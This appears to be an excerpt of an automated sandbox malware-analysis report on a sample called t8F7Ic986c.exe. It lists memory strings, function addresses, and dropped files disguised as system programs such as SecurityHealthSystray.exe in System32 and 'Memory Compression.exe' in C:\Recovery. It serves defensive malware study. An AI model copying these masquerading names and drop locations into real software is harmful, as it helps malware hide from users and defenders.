00000000.00000003.1659486333.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656458098.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1658580521.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656071872.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1657492096.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: t8F7Ic986c.exe, 00000000.00000003.1656458098.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1669900462.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1658580521.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123AC000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656071872.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1657492096.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: t8F7Ic986c.exe, 00000001.00000002.1667701805.00007FFDFB989000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: Chaindriver.exe, 00000008.00000002.1728153566.000000000376F000.00000004.00000800.00020000.00000000.sdmp, Memory Compression.exe, 00000025.00000002.1821172623.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: t8F7Ic986c.exe, 00000000.00000003.1656458098.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1669900462.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1658580521.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123AC000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656071872.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1657492096.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: t8F7Ic986c.exe, 00000000.00000003.1656647593.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: http://www.python.org/dev/peps/pep-0205/
Source: base_library.zip.0.dr	String found in binary or memory: http://www.python.org/download/releases/2.3/mro/.
Source: t8F7Ic986c.exe, 00000001.00000003.1664116747.0000023EBC700000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1665781347.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000003.1664352524.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: t8F7Ic986c.exe, 00000001.00000003.1664116747.0000023EBC700000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1666242087.0000023EBDF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: t8F7Ic986c.exe, 00000001.00000003.1664352524.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: t8F7Ic986c.exe, 00000001.00000003.1664116747.0000023EBC700000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1665781347.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000003.1664352524.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: t8F7Ic986c.exe, 00000001.00000003.1664116747.0000023EBC700000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1665781347.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000003.1664352524.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656458098.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1669900462.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1658580521.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1657492096.000001A2123AF000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123AC000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656071872.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1657492096.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: libcrypto-1_1.dll.0.dr	String found in binary or memory: https://www.openssl.org/H

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

Code function: 4_2_00007FF6C035C300: CreateFileW,CloseHandle,wcscpy,wcscpy,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

4_2_00007FF6C035C300

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP

Jump to behavior

Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652ED7B60	0_2_00007FF652ED7B60
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF6B50	0_2_00007FF652EF6B50
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF7A9C	0_2_00007FF652EF7A9C
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652ED1000	0_2_00007FF652ED1000
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652ED9D9B	0_2_00007FF652ED9D9B
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE8670	0_2_00007FF652EE8670
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE84BC	0_2_00007FF652EE84BC
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EEECA0	0_2_00007FF652EEECA0
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE2480	0_2_00007FF652EE2480
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EEAC50	0_2_00007FF652EEAC50
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EEF320	0_2_00007FF652EEF320
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE42D4	0_2_00007FF652EE42D4
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652ED92D0	0_2_00007FF652ED92D0
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE2A94	0_2_00007FF652EE2A94
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF1720	0_2_00007FF652EF1720
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE2274	0_2_00007FF652EE2274
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF4A60	0_2_00007FF652EF4A60
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EEE80C	0_2_00007FF652EEE80C
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EFA7D8	0_2_00007FF652EFA7D8
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE8670	0_2_00007FF652EE8670
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EDA76D	0_2_00007FF652EDA76D
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE6750	0_2_00007FF652EE6750
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652ED9F3B	0_2_00007FF652ED9F3B
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE2890	0_2_00007FF652EE2890
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE2070	0_2_00007FF652EE2070
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF6DCC	0_2_00007FF652EF6DCC
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF7550	0_2_00007FF652EF7550
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE3540	0_2_00007FF652EE3540
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF1720	0_2_00007FF652EF1720
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF4EFC	0_2_00007FF652EF4EFC
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE8EF4	0_2_00007FF652EE8EF4
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE3ED0	0_2_00007FF652EE3ED0
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF26C4	0_2_00007FF652EF26C4
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE2684	0_2_00007FF652EE2684
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 1_2_00007FFE148B7508	1_2_00007FFE148B7508
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0373404	4_2_00007FF6C0373404
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C036A46C	4_2_00007FF6C036A46C
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C03806D4	4_2_00007FF6C03806D4
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C03648E8	4_2_00007FF6C03648E8
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C035F940	4_2_00007FF6C035F940
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C037CE08	4_2_00007FF6C037CE08
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0355E2C	4_2_00007FF6C0355E2C
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0371EA0	4_2_00007FF6C0371EA0
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C037B110	4_2_00007FF6C037B110
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0372150	4_2_00007FF6C0372150
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0361224	4_2_00007FF6C0361224
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0357288	4_2_00007FF6C0357288
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C035A2FC	4_2_00007FF6C035A2FC
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C035C300	4_2_00007FF6C035C300
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0375370	4_2_00007FF6C0375370
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C03924D0	4_2_00007FF6C03924D0
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C036B4F0	4_2_00007FF6C036B4F0
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C035A664	4_2_00007FF6C035A664
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C03576C0	4_2_00007FF6C03576C0
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C038C7B8	4_2_00007FF6C038C7B8
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0354840	4_2_00007FF6C0354840
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0388920	4_2_00007FF6C0388920
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C036C928	4_2_00007FF6C036C928
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C03738E4	4_2_00007FF6C03738E4
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0361A00	4_2_00007FF6C0361A00
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C038FA14	4_2_00007FF6C038FA14
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0372A30	4_2_00007FF6C0372A30
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0395A78	4_2_00007FF6C0395A78
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0351AA4	4_2_00007FF6C0351AA4
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0374B18	4_2_00007FF6C0374B18
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0365B20	4_2_00007FF6C0365B20
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0388B9C	4_2_00007FF6C0388B9C
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C036BB4C	4_2_00007FF6C036BB4C
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0372CD8	4_2_00007FF6C0372CD8
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C03806D4	4_2_00007FF6C03806D4
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0378D74	4_2_00007FF6C0378D74
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C036AED4	4_2_00007FF6C036AED4
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C0392000	4_2_00007FF6C0392000
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C036F100	4_2_00007FF6C036F100
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B53404	7_2_00007FF720B53404
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B4A46C	7_2_00007FF720B4A46C
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B606D4	7_2_00007FF720B606D4
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B3A664	7_2_00007FF720B3A664
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B448E8	7_2_00007FF720B448E8
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B3F940	7_2_00007FF720B3F940
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B5CE08	7_2_00007FF720B5CE08
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B51EA0	7_2_00007FF720B51EA0
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B35E2C	7_2_00007FF720B35E2C
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B5B110	7_2_00007FF720B5B110
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B52150	7_2_00007FF720B52150
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B3A2FC	7_2_00007FF720B3A2FC
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B3C300	7_2_00007FF720B3C300
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B37288	7_2_00007FF720B37288
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B41224	7_2_00007FF720B41224
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B55370	7_2_00007FF720B55370
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B4B4F0	7_2_00007FF720B4B4F0
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B724D0	7_2_00007FF720B724D0
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B376C0	7_2_00007FF720B376C0
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B6C7B8	7_2_00007FF720B6C7B8
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B538E4	7_2_00007FF720B538E4
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B34840	7_2_00007FF720B34840
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B41A00	7_2_00007FF720B41A00
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B6FA14	7_2_00007FF720B6FA14
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B68920	7_2_00007FF720B68920
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B4C928	7_2_00007FF720B4C928
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B31AA4	7_2_00007FF720B31AA4
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B75A78	7_2_00007FF720B75A78
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B52A30	7_2_00007FF720B52A30
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B68B9C	7_2_00007FF720B68B9C
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B54B18	7_2_00007FF720B54B18
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B45B20	7_2_00007FF720B45B20
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B4BB4C	7_2_00007FF720B4BB4C
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B52CD8	7_2_00007FF720B52CD8
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B58D74	7_2_00007FF720B58D74
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B606D4	7_2_00007FF720B606D4
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B4AED4	7_2_00007FF720B4AED4
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B72000	7_2_00007FF720B72000
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B4F100	7_2_00007FF720B4F100
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BA20D47	8_2_00007FFD9BA20D47
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BA20E43	8_2_00007FFD9BA20E43
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE265F2	8_2_00007FFD9BE265F2
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE19119	8_2_00007FFD9BE19119
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE1B8F2	8_2_00007FFD9BE1B8F2
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE25846	8_2_00007FFD9BE25846
Source: C:\Chaindriver.exe	Code function: 34_2_00007FFD9BA00D47	34_2_00007FFD9BA00D47
Source: C:\Chaindriver.exe	Code function: 34_2_00007FFD9BA00E43	34_2_00007FFD9BA00E43
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA091E9	35_2_00007FFD9BA091E9
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA09200	35_2_00007FFD9BA09200
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA1173B	35_2_00007FFD9BA1173B
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA32004	35_2_00007FFD9BA32004
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA3A2E4	35_2_00007FFD9BA3A2E4
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA3E186	35_2_00007FFD9BA3E186
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA00D47	35_2_00007FFD9BA00D47
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA00E43	35_2_00007FFD9BA00E43
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA00D47	36_2_00007FFD9BA00D47
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA00E43	36_2_00007FFD9BA00E43
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA1173B	36_2_00007FFD9BA1173B
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA091E9	36_2_00007FFD9BA091E9
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA09200	36_2_00007FFD9BA09200
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA32004	36_2_00007FFD9BA32004
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA3A2E4	36_2_00007FFD9BA3A2E4
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA3E186	36_2_00007FFD9BA3E186
Source: C:\Recovery\Memory Compression.exe	Code function: 37_2_00007FFD9B9F0D47	37_2_00007FFD9B9F0D47
Source: C:\Recovery\Memory Compression.exe	Code function: 37_2_00007FFD9B9F0E43	37_2_00007FFD9B9F0E43
Source: C:\Recovery\Memory Compression.exe	Code function: 37_2_00007FFD9BDEC4F5	37_2_00007FFD9BDEC4F5
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 38_2_00007FFD9BA00D47	38_2_00007FFD9BA00D47
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 38_2_00007FFD9BA00E43	38_2_00007FFD9BA00E43
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 38_2_00007FFD9BA091E9	38_2_00007FFD9BA091E9
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 38_2_00007FFD9BA09200	38_2_00007FFD9BA09200
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 38_2_00007FFD9BA32004	38_2_00007FFD9BA32004
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 38_2_00007FFD9BA3A2E4	38_2_00007FFD9BA3A2E4
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 38_2_00007FFD9BA3E186	38_2_00007FFD9BA3E186
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 38_2_00007FFD9BA1173B	38_2_00007FFD9BA1173B
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 39_2_00007FFD9BA52004	39_2_00007FFD9BA52004
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 39_2_00007FFD9BA5A2E4	39_2_00007FFD9BA5A2E4
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 39_2_00007FFD9BA5E186	39_2_00007FFD9BA5E186
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 39_2_00007FFD9BA31730	39_2_00007FFD9BA31730
